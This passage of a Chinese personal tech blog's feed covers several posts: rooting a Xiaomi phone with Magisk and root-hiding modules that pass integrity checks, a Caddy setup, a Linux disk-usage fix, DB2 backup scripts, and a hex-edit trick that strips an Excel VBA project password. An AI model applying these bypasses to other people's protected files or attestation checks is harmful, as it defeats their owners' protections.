模式（开机状态下）</span></span><br><span class="line">adb reboot fastboot</span><br><span class="line"><span class="comment">##刷入修补好的 boot 文件</span></span><br><span class="line">fastboot flash init_boot patched_boot.img</span><br><span class="line">fastboot reboot</span><br></pre></td></tr></table></figure><br>现在手机临时获取了 root 权限，打开 <mark>Magisk</mark>  APP，提示“需要修复运行环境”，点击确定，然后等待重启。<br><img src="https://pic.yuwei.cc/gallery/202411/xiaomi_07.jpg" alt=""><br>后续专版的 <a href="https://sourceforge.net/projects/recovery-for-xiaomi-devices/files/">TWRP</a> 推出后，就可以进 Fastboot 模式刷入。<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#更新完成，关机同时按住“音量-”和“电源键”进入 fastboot 模式</span></span><br><span class="line">fastboot flash recovery recovery.img</span><br><span class="line"><span class="comment">##进入 recovery 模式（开机状态下）</span></span><br><span class="line">adb reboot recovery</span><br></pre></td></tr></table></figure></p><h3 id="安装模块"><a href="#安装模块" class="headerlink" title="安装模块"></a>安装模块</h3><p><a href="https://magiskmodule.gitlab.io/">Magisk Module - Advance system modification &amp; Customization</a></p><ul><li><a href="https://github.com/Dr-TSNG/ZygiskNext/releases">ZygiskNext</a>：Zygisk 独立版本，关闭面具自带的</li><li><a href="https://github.com/LSPosed/LSPosed.github.io/releases">Shamiko</a>：隐藏模块</li><li><a href="https://github.com/LSPosed/LSPosed/releases">Zygisk - LSPosed</a>：原版存档（2024.01.08）了，只限内测，希望早日开放；目前使用 <a href="https://github.com/JingMatrix/LSPosed">JingMatrix</a></li><li><a href="https://github.com/RikkaApps/StorageRedirect-assets/releases">Zygisk - Enhanced mode for StorageIsolation</a>：存储空间隔离增强模块</li><li><a href="https://github.com/yanbuyu/XiaomiCTSPass">XiaomiCTSPass</a>：ROOT 后通过 Google 设备认证，暂时不支持</li><li><a href="https://github.com/kdrag0n/safetynet-fix">Safetynet-Fix</a></li><li><a href="https://github.com/chiteroman/PlayIntegrityFix">Play_Integrity_Fix</a>：ROOT 后通过 SafetyNet 检查 - <a href="https://play.google.com/store/apps/details?id=rikka.safetynetchecker">YASNAC - SafetyNet 检查器</a></li></ul><p><img src="https://pic.yuwei.cc/gallery/202411/xiaomi_08.jpg" alt=""><br><img src="https://pic.yuwei.cc/gallery/202411/xiaomi_09.jpg" alt=""></p><h2 id="LSPosed"><a href="#LSPosed" class="headerlink" title="LSPosed"></a>LSPosed</h2><p>Magisk 刷入 LSPosed <a href="https://modules.lsposed.org/">模块</a>后即可食用：</p><ul><li>HyperCeiler：√ - 存档了…</li><li>R-安装组件：√</li><li>X（原微 X）：√</li><li>哔哩漫游：√</li><li>电影猎手去广告：√</li><li>启动遮罩净化：√</li><li>UpdateLocker：√</li></ul><h2 id="推荐应用"><a href="#推荐应用" class="headerlink" title="推荐应用"></a>推荐应用</h2><ul><li><a href="https://adaway.org/">AdAway</a>：去广告</li><li>Blocker：使用 IFW 优化应用</li><li>Bitwarden</li><li>ChatGPT</li><li>GKD：李跳跳的替代</li><li>SD Maid：冻结系统应用，<strong>暂时无法使用</strong><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Analytics（com.miui.analytics）</span><br><span class="line">米币支付（com.miui.payment）</span><br><span class="line">DeviceLockController（com.andriod.deivcelockcontroller）</span><br><span class="line">用户反馈（com.miui.bugreport）</span><br><span class="line">智能服务（com.miui.systemAdSolution）<span class="comment">#去广告</span></span><br><span class="line">游戏服务（com.xiaomi.gamecenter.sdk.service）</span><br><span class="line">智能助理（com.miui.personalassistant）</span><br><span class="line">搜索（com.miui.quicksearchbox）</span><br><span class="line">Joyose（com.xiaomi.joyose）</span><br><span class="line">MIUI安全组件（com.miui.guardprovider）<span class="comment">#隐私相关</span></span><br></pre></td></tr></table></figure></li><li>存储空间隔离：整顿乱拉屎的国产软件，跑路了</li></ul><h2 id="其他设置"><a href="#其他设置" class="headerlink" title="其他设置"></a>其他设置</h2><p>5G 开关：拨号盘上输入：<code>*#*#54638#8#*</code>提示：<strong>显示 5G 切换和网络菜单</strong>，然后去 <strong> </strong> &gt; <strong>移动网络</strong> &gt; <strong>5G网络</strong>。</p><h2 id="线刷报错"><a href="#线刷报错" class="headerlink" title="线刷报错"></a>线刷报错</h2><p>WIndows 11 下因为 USB3 的原因导致线刷时报错，将以下内容拷贝到一个批处理文件，然后双击添加注册表：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">@<span class="built_in">echo</span> off</span><br><span class="line">reg add <span class="string">&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\usbflags\18D1D00D0100&quot;</span> /v <span class="string">&quot;osvc&quot;</span> /t REG_BINARY /d <span class="string">&quot;0000&quot;</span> /f</span><br><span class="line">reg add <span class="string">&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\usbflags\18D1D00D0100&quot;</span> /v <span class="string">&quot;SkipContainerIdQuery&quot;</span> /t REG_BINARY /d <span class="string">&quot;01000000&quot;</span> /f</span><br><span class="line">reg add <span class="string">&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\usbflags\18D1D00D0100&quot;</span> /v <span class="string">&quot;SkipBOSDescriptorQuery&quot;</span> /t REG_BINARY /d <span class="string">&quot;01000000&quot;</span> /f</span><br><span class="line">pause</span><br></pre></td></tr></table></figure><br>想要重新开启的话，<kbd>Win</kbd>+<kbd>R</kbd> 输入”regedit”打开注册表，跳转到<code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\usbflags\18D1D00D0100\</code>，并删除以下三个值：<br>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\usbflags\18D1D00D0100\osvc<br>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\usbflags\18D1D00D0100\SkipContainerIdQuery<br>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\usbflags\18D1D00D0100\SkipBOSDescriptorQuery</p>]]></content>
    
    
    <summary type="html">那个男人应该是回不来了，继续用小米吧……</summary>
    
    
    
    <category term="器物与我" scheme="https://yuwei.cc/categories/%E5%99%A8%E7%89%A9%E4%B8%8E%E6%88%91/"/>
    
    
    <category term="Magisk" scheme="https://yuwei.cc/tags/Magisk/"/>
    
    <category term="Android" scheme="https://yuwei.cc/tags/Android/"/>
    
    <category term="小米" scheme="https://yuwei.cc/tags/%E5%B0%8F%E7%B1%B3/"/>
    
    <category term="HyperOS" scheme="https://yuwei.cc/tags/HyperOS/"/>
    
    <category term="KernelSU" scheme="https://yuwei.cc/tags/KernelSU/"/>
    
    <category term="LSPosed" scheme="https://yuwei.cc/tags/LSPosed/"/>
    
  </entry>
  
  <entry>
    <title>Linux 系统使用 du 与 df 命令查看磁盘容量不一致</title>
    <link href="https://yuwei.cc/posts/b919f4e0.html"/>
    <id>https://yuwei.cc/posts/b919f4e0.html</id>
    <published>2024-10-30T13:30:00.000Z</published>
    <updated>2024-10-31T04:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><h2 id="描述"><a href="#描述" class="headerlink" title="描述"></a>描述</h2><p>客户生产服务（Linux） ETL 进程卡死，执行 <code>df -h</code> 命令发现 <code>/home</code> 目录所在磁盘占用率接近 100%，扩容需要层层审批显然来不及了，随即将一些大文件备份删除，并且将存放源数据的文件夹通过软链的方式临时换到其他目录，再次执行 ETL 立马又 100% 了。</p><h2 id="检测"><a href="#检测" class="headerlink" title="检测"></a>检测</h2><p>执行 <code>du -h --max-depth=1 /home</code>查看文件占用情况，发现使用还不到 /home 的一半；起初以为是有隐藏文件，又用 <code>du -ah --max-depth=1 /home</code> 命令检查了一遍，得到的结果是一样的。</p><p>通过网络搜索得到大概率是因为一些被删除的文件仍被某个进程占用，平时没在 <code>/home</code> 目录装过软件、交换数据这些操作；也没碰到过分配过这么小的情况。</p><p><strong>最终原因</strong>：用户删除了大量的文件后，<strong>du</strong> 命令就不会在文件系统目录中统计这些文件；如果此时还在运行中的进程持有这个已经被删除的文件句柄，那么这个文件就不会真正在磁盘中被删除，分区超级块中的信息也就不会更改，<strong>df</strong> 命令仍会统计这个被删除的文件。</p><h2 id="方案"><a href="#方案" class="headerlink" title="方案"></a>方案</h2><ul><li>服务器没有 7*24 的业务要求的话，直接重启就行。</li><li>找到相应的进程，使用 <code>kill -9 &lt;pid&gt;</code> 将其杀掉即可：有 <strong>lsof</strong> 命令的话，执行 <code>lsof | grep deleted</code> 即可得到进程。</li></ul><h2 id="说明"><a href="#说明" class="headerlink" title="说明"></a>说明</h2><ul><li>查找大文件可以使用 <code>find /home -type f -size +100M -exec du -h &#123;&#125; +</code> 命令。</li><li>目录小的情况下，千万不用用来做数据交换之类的操作，同时请规范使用 <code>home</code> 目录。</li></ul>]]></content>
    
    
    <summary type="html">Linux 系统使用 du 与 df 命令查看磁盘容量不一致，这种情况大概率是因为一些被删除的文件仍被某个进程占用，手动关闭进程就能得到释放……</summary>
    
    
    
    <category term="高效工作" scheme="https://yuwei.cc/categories/%E9%AB%98%E6%95%88%E5%B7%A5%E4%BD%9C/"/>
    
    
    <category term="Linux" scheme="https://yuwei.cc/tags/Linux/"/>
    
    <category term="运维" scheme="https://yuwei.cc/tags/%E8%BF%90%E7%BB%B4/"/>
    
  </entry>
  
  <entry>
    <title>Caddy 不完全食用指北</title>
    <link href="https://yuwei.cc/posts/caddy.html"/>
    <id>https://yuwei.cc/posts/caddy.html</id>
    <published>2024-10-28T11:07:04.000Z</published>
    <updated>2024-10-29T04:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><p>企业级的 Web 服务器接触过：Nginx、Apache、IIS、Tomcat，前段时间打算将网路服务全部迁移到搬瓦工 VPS 上去，由于配置较低，就选用了一个开源的 Web 服务器： <a href="https://github.com/caddyserver/caddy">Caddy</a>；它是一个 Go 编写的 Web 服务器，类似于 Nginx，完全可以作为中小型站点 Web 服务器。</p><h2 id="特性"><a href="#特性" class="headerlink" title="特性"></a>特性</h2><ul><li>自动 HTTPS：自动 TLS 功能，无需额外配置</li><li>配置简便性：两种配置方式，简洁的 Caddyfile、功能丰富的 JSON</li><li>配置灵活性：通过 JSON API，Caddy 允许实时更新配置</li><li>代理能力：HTTP 反向代理功能强大且灵活</li><li>静态资源托管：可以作为静态文件服务器</li><li>全平台支持：支持 Linux、Windows、macOS 等操作系统</li><li>高性能：Go 语言的开发，保证高性能和内存安全<h2 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h2>这些年的习惯，能用二进制的直接采用二进制安装<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">wget -c https://caddyserver.com/api/download --no-check-certificate -O caddy</span><br><span class="line"><span class="built_in">chmod</span> a+x caddy</span><br><span class="line"><span class="built_in">mv</span> caddy /usr/bin/</span><br></pre></td></tr></table></figure>添加系统服务<code>vi /etc/systemd/system/caddy.service</code>：<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">[Unit]</span><br><span class="line">Description=Caddy</span><br><span class="line">Documentation=https://caddyserver.com/docs/</span><br><span class="line">After=network.target network-online.target</span><br><span class="line">Requires=network-online.target</span><br><span class="line"></span><br><span class="line">[Service]</span><br><span class="line">Type=notify</span><br><span class="line">User=caddy</span><br><span class="line">Group=caddy</span><br><span class="line">ExecStart=/usr/bin/caddy run --environ --config /etc/caddy/Caddyfile</span><br><span class="line">ExecReload=/usr/bin/caddy reload --config /etc/caddy/Caddyfile --force</span><br><span class="line">TimeoutStopSec=5s</span><br><span class="line">LimitNOFILE=1048576</span><br><span class="line">PrivateTmp=true</span><br><span class="line">ProtectSystem=full</span><br><span class="line">AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE</span><br><span class="line"></span><br><span class="line">[Install]</span><br><span class="line">WantedBy=multi-user.target</span><br></pre></td></tr></table></figure>然后就可以使用 <strong>systemctl</strong> 启停 Caddy 服务了<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">systemctl daemon-reload</span><br><span class="line">systemctl <span class="built_in">enable</span> caddy</span><br><span class="line">systemctl status caddy</span><br><span class="line">systemctl start caddy</span><br><span class="line">systemctl reload caddy</span><br></pre></td></tr></table></figure><h2 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h2>Caddy 的配置文件可以用 JSON，不过个人感觉 Caddyfile 更简洁，也更加接近 nginx，没什么切换门槛<h3 id="基础语法"><a href="#基础语法" class="headerlink" title="基础语法"></a>基础语法</h3>|指令|说明|<br>|—-|—-|<br>|root|指定网站的根目录|<br>|tls|用于自动获取和管理 TLS/SSL 证书|<br>|proxy|用于配置反向代理|<br>|rewrite|用于重写 URL|<br>|gzip|开启 GZIP 压缩|<br>|auth|配置基本的身份验证|<br>|cache|配置缓存设置|<br>|log|配置日志输出|<h3 id="示例配置"><a href="#示例配置" class="headerlink" title="示例配置"></a>示例配置</h3><code>vi /etc/caddy/Caddyfile</code>：<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">yuwei.cc &#123;</span><br><span class="line">    root * /var/www/html                                   ##静态网站根目录</span><br><span class="line">    tls work@yuwei.cc                                       ##自动配置 TLS 证书</span><br><span class="line">    encode gzip                                               ##开启 gzip 压缩</span><br><span class="line">    log /var/log/caddy/access.log combined        ##指定日志文件</span><br><span class="line">    ##反向代理到后端服务</span><br><span class="line">    proxy /list 127.0.0.1:5244 &#123;</span><br><span class="line">        websocket                                              ##WebSocket 协议</span><br><span class="line">        transparent                                             ##透明代理</span><br><span class="line">        file_server browse                                    ##启动静态资源</span><br><span class="line">    &#125;</span><br><span class="line">    auth /admin user:password                            ##基本身份验证</span><br><span class="line">&#125;</span><br><span class="line">##配置带域名的反向代理</span><br><span class="line">list.vioe.cc &#123;</span><br><span class="line">    reverse_proxy 127.0.0.1:5244</span><br><span class="line">    tls work@yuwei.cc</span><br><span class="line">    log &#123;</span><br><span class="line">        output file /var/log/caddy/alist.log</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">##配置带域名的重定向</span><br><span class="line">vioe.cc &#123;</span><br><span class="line">    ##网站路由</span><br><span class="line">    route &#123;</span><br><span class="line">        /static/* &#123;</span><br><span class="line">            gzip</span><br><span class="line">            fileserver /var/www/static</span><br><span class="line">        &#125;</span><br><span class="line">        /api/* &#123;</span><br><span class="line">            proxy / 127.0.0.1:5244</span><br><span class="line">        &#125;</span><br><span class="line">        /* &#123;</span><br><span class="line">            redir https://baidu.com&#123;uri&#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>更多配置见官方文档：<a href="https://caddyserver.com/docs/caddyfile-tutorial">Caddyfile Tutorial</a></li></ul>]]></content>
    
    
    <summary type="html">Caddy是一个 Go 编写的 Web 服务器，类似于 Nginx，完全可以作为中小型站点 Web 服务器……</summary>
    
    
    
    <category term="高效工作" scheme="https://yuwei.cc/categories/%E9%AB%98%E6%95%88%E5%B7%A5%E4%BD%9C/"/>
    
    
    <category term="Linux" scheme="https://yuwei.cc/tags/Linux/"/>
    
    <category term="Caddy" scheme="https://yuwei.cc/tags/Caddy/"/>
    
  </entry>
  
  <entry>
    <title>Excel VBA 密码破解方法</title>
    <link href="https://yuwei.cc/posts/c76d060d.html"/>
    <id>https://yuwei.cc/posts/c76d060d.html</id>
    <published>2024-08-20T05:34:34.000Z</published>
    <updated>2024-08-20T05:34:34.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><p>最近意外翻出自己很久之前做的 Excel VBA 小工具，准备完善下；但是当时加了密码保护，这么久密码早就忘了；只好用绕过 Excel 保护的方法将密码去掉。</p><p>1、将要破解的 <code>.xlsm</code> 文档复制一份并将后缀名改为<code>.zip</code>，可以直接在后面加后缀：<br><img src="https://f.pz.al/pzal/2024/08/21/bb45d17bbf41d.png" alt=""><br>2、使用解压缩软件（如：WinRAR 或 7-Zip）打开修改好的压缩文件：<br><img src="https://f.pz.al/pzal/2024/08/21/4f7cc94cffd33.png" alt=""><br>3、进入 <code>xl</code> 文件夹，直接拖动 <code>VBAProject.bin</code> 文件将其解压出来：<br><img src="https://f.pz.al/pzal/2024/08/21/2b10f5a2d72e3.png" alt=""><br>4、使用十六进制编辑器（如：<a href="https://www.x-ways.net/winhex/">WinHex</a>）打开 <code>VBAProject.bin</code> 文件，然后搜索 <strong>DPB=</strong> 字符串并替换为 <strong>DPX=</strong><br><img src="https://f.pz.al/pzal/2024/08/21/eec4ed64bceef.png" alt=""><br>5、然后保存并关闭编辑器，将新的 <code>VBAProject.bin</code> 文件拖放会刚才打开的压缩文件并将文件后缀名改回 <code>.xlsm</code>；打开文档，弹出窗口选「是」并忽略其他选项<br><img src="https://f.pz.al/pzal/2024/08/21/be04f2f6ff282.png" alt=""><br>7：ALT+F111 打开 VBA 编辑器，若弹出对话框，选择「确定」；右键 VBA 项目的名称，选择「VBAProject 属性」&gt;「保护」，重新设置密码或者留空即可<br><img src="https://f.pz.al/pzal/2024/08/21/45fe8f2981b53.png" alt=""></p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;p&gt;最近意外翻出自己很久之前做的 Excel VBA 小工具，准备完善下；但是当</summary>
      
    
    
    
    <category term="高效工作" scheme="https://yuwei.cc/categories/%E9%AB%98%E6%95%88%E5%B7%A5%E4%BD%9C/"/>
    
    
    <category term="Windows" scheme="https://yuwei.cc/tags/Windows/"/>
    
    <category term="Excel" scheme="https://yuwei.cc/tags/Excel/"/>
    
    <category term="VBA" scheme="https://yuwei.cc/tags/VBA/"/>
    
  </entry>
  
  <entry>
    <title>DB2 数据库可持续化运维及相关脚本</title>
    <link href="https://yuwei.cc/posts/cd58cdbd.html"/>
    <id>https://yuwei.cc/posts/cd58cdbd.html</id>
    <published>2024-08-14T00:34:34.000Z</published>
    <updated>2024-08-14T05:15:26.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><p>在测试使用脚本清理数据库日志的时候，不小心误删了正在使用的活动日志，以至于再次登录数据库报错如下：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">S0L1273N    An operation reading the logs on database <span class="string">&quot;XXXX&quot;</span> cannot <span class="built_in">continue</span></span><br><span class="line">because of a missing <span class="built_in">log</span> file <span class="string">&quot;S0000096.L0G&quot;</span> on database partition <span class="string">&quot;o&quot;</span> and <span class="built_in">log</span> stream <span class="string">&quot;O&quot;</span>.</span><br></pre></td></tr></table></figure><br>从网络查询并找其他同事咨询，均无济于事；因为在此之前只是备份了部分关键表的数据，得到的结果都是需要重装然后追平数据；好在使用的云主机有快照功能，能恢复…</p><h2 id="相关脚本"><a href="#相关脚本" class="headerlink" title="相关脚本"></a>相关脚本</h2><p>由于策略还没定，而恢复快照需要走流程，所以临时使用以下脚本统计并备份表数据<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line">DB_NAME=<span class="string">&quot;XXXX&quot;</span></span><br><span class="line">DB_USER=<span class="string">&quot;test&quot;</span></span><br><span class="line">DB_PASSWORD=<span class="string">&quot;123456&quot;</span></span><br><span class="line">SCHEMAS=(<span class="string">&quot;S1&quot;</span> <span class="string">&quot;S2&quot;</span> <span class="string">&quot;S3&quot;</span> <span class="string">&quot;S4&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#登录数据库</span></span><br><span class="line">db2 connect to <span class="variable">$&#123;DB_NAME&#125;</span> user <span class="variable">$&#123;DB_USER&#125;</span> using <span class="variable">$&#123;DB_PASSWORD&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#遍历每个模式</span></span><br><span class="line"><span class="keyword">for</span> SCHEMA_NAME <span class="keyword">in</span> <span class="string">&quot;<span class="variable">$&#123;SCHEMAS[@]&#125;</span>&quot;</span>; <span class="keyword">do</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;当前模式为：<span class="variable">$&#123;SCHEMA_NAME&#125;</span>&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">#查询当前模式下的所有表信息</span></span><br><span class="line">    TABLES=$(db2 -x <span class="string">&quot;SELECT TABNAME FROM SYSCAT.TABLES WHERE TABSCHEMA=&#x27;<span class="variable">$&#123;SCHEMA_NAME&#125;</span>&#x27;&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> TABLE <span class="keyword">in</span> <span class="variable">$&#123;TABLES&#125;</span>; <span class="keyword">do</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;开始统计【<span class="variable">$&#123;SCHEMA_NAME&#125;</span>】模式下的【<span class="variable">$&#123;TABLE&#125;</span>】表&quot;</span></span><br><span class="line">        <span class="comment">#获取行数</span></span><br><span class="line">        ROW_COUNT=$(db2 -x <span class="string">&quot;SELECT COUNT(*) FROM <span class="variable">$&#123;SCHEMA_NAME&#125;</span>.<span class="variable">$&#123;TABLE&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="comment">#获取字段数量</span></span><br><span class="line">        <span class="comment">#COLUMN_COUNT=$(db2 -x &quot;SELECT COUNT(*) FROM SYSCAT.COLUMNS WHERE TABSCHEMA=&#x27;$&#123;SCHEMA_NAME&#125;&#x27; AND TABNAME=&#x27;$&#123;TABLE&#125;&#x27;&quot;)</span></span><br><span class="line">        <span class="comment">#获取最新的更新日期（假设有一个时间戳字段UPDATE_TIMESTAMP记录更新时间）</span></span><br><span class="line">        <span class="comment">#LAST_UPDATE=$(db2 -x &quot;SELECT MAX(UPDATE_TIMESTAMP) FROM $&#123;SCHEMA_NAME&#125;.$&#123;TABLE&#125;&quot;)</span></span><br><span class="line">        LAST_UPDATE=$(db2 -x <span class="string">&quot;SELECT STATS_TIME FROM SYSIBM.SYSTABLES WHERE CREATOR=&#x27;<span class="variable">$&#123;SCHEMA_NAME&#125;</span>&#x27; AND NAME=&#x27;<span class="variable">$&#123;TABLE&#125;</span>&#x27;&quot;</span>)</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;<span class="variable">$&#123;SCHEMA_NAME&#125;</span>.<span class="variable">$&#123;TABLE&#125;</span> 表最后更新日期为：<span class="variable">$&#123;LAST_UPDATE&#125;</span>，共有 <span class="variable">$&#123;ROW_COUNT&#125;</span> 行&quot;</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;<span class="variable">$&#123;SCHEMA_NAME&#125;</span>.<span class="variable">$&#123;TABLE&#125;</span> 表最后更新日期为：<span class="variable">$&#123;LAST_UPDATE&#125;</span>，共有 <span class="variable">$&#123;ROW_COUNT&#125;</span> 行&quot;</span> &gt;&gt; $(<span class="built_in">date</span> +%Y%m%d).txt</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;-------------------------------------&quot;</span></span><br><span class="line">        <span class="comment">#备份表（使用 EXPORT 命令：DEL 只导出数据不包含表结构信息、IXF 包含数据和表结构（元数据），使其更适合完整的数据迁移）</span></span><br><span class="line">        BACKUP_FILE=<span class="string">&quot;<span class="variable">$&#123;SCHEMA_NAME&#125;</span>_<span class="variable">$&#123;TABLE&#125;</span>_<span class="subst">$(date +%Y%m%d%H%M%S)</span>.del&quot;</span></span><br><span class="line">        db2 <span class="string">&quot;EXPORT TO <span class="variable">$&#123;BACKUP_FILE&#125;</span> OF DEL SELECT * FROM <span class="variable">$&#123;SCHEMA_NAME&#125;</span>.<span class="variable">$&#123;TABLE&#125;</span>&quot;</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;文件备份 <span class="variable">$&#123;BACKUP_FILE&#125;</span>&quot;</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;-------------------------------------&quot;</span></span><br><span class="line">    <span class="keyword">done</span></span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"><span class="comment">#断开数据库连接</span></span><br><span class="line">db2 terminate</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;已完成所有表的统计和备份&quot;</span></span><br></pre></td></tr></table></figure><br>而清理日志脚本修改如下（如果有需要可以设置定时任务）：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#获取日志存档路径</span></span><br><span class="line">db2 get db cfg <span class="keyword">for</span> ZXZXAMS | grep <span class="string">&quot;First log archive method&quot;</span></span><br><span class="line"><span class="comment">#替换以下 /path/to/log/ 的部分</span></span><br><span class="line"><span class="built_in">cd</span> /path/to/log/NODE0000/LOGSTREAM0000/C0000000</span><br><span class="line"><span class="comment">#删除 7 天前的数据</span></span><br><span class="line">find -<span class="built_in">type</span> f -mtime +7 -name <span class="string">&quot;*.LOG&quot;</span> | xargs <span class="built_in">rm</span> -rf</span><br></pre></td></tr></table></figure></p><h2 id="备份策略"><a href="#备份策略" class="headerlink" title="备份策略"></a>备份策略</h2><p>经过了解，DB2 常见的备份策略总结如下：</p><h3 id="完整备份-Full-Backup"><a href="#完整备份-Full-Backup" class="headerlink" title="完整备份 (Full Backup)"></a>完整备份 (Full Backup)</h3><p>定义：备份整个数据库，包括所有表、数据和数据库对象。<br>优点：完整恢复快，适合小型数据库或每日业务低谷时备份。<br>缺点：对大型数据库，备份文件大，耗时较长。</p><h3 id="增量备份-Incremental-Backup"><a href="#增量备份-Incremental-Backup" class="headerlink" title="增量备份 (Incremental Backup)"></a>增量备份 (Incremental Backup)</h3><p>定义：仅备份自上次备份后发生更改的数据。<br>优点：减少备份时间和存储空间。<br>缺点：恢复时间长，因为需要从最后一次完整备份和所有增量备份恢复。</p><h3 id="差异备份-Delta-Backup"><a href="#差异备份-Delta-Backup" class="headerlink" title="差异备份 (Delta Backup)"></a>差异备份 (Delta Backup)</h3><p>定义：备份自上次完整备份后发生更改的数据。<br>优点：恢复比增量备份快，只需最后一次完整备份和最后一次差异备份。<br>缺点：备份文件比增量备份大。</p><h3 id="日志备份-Log-Backup"><a href="#日志备份-Log-Backup" class="headerlink" title="日志备份 (Log Backup)"></a>日志备份 (Log Backup)</h3><p>定义：备份事务日志，这样即使没有运行增量备份，也能恢复到某一特定时间点。<br>优点：支持时间点恢复，提高数据保护。<br>缺点：需要管理和定期清理日志备份，以防止存储空间耗尽。</p><h3 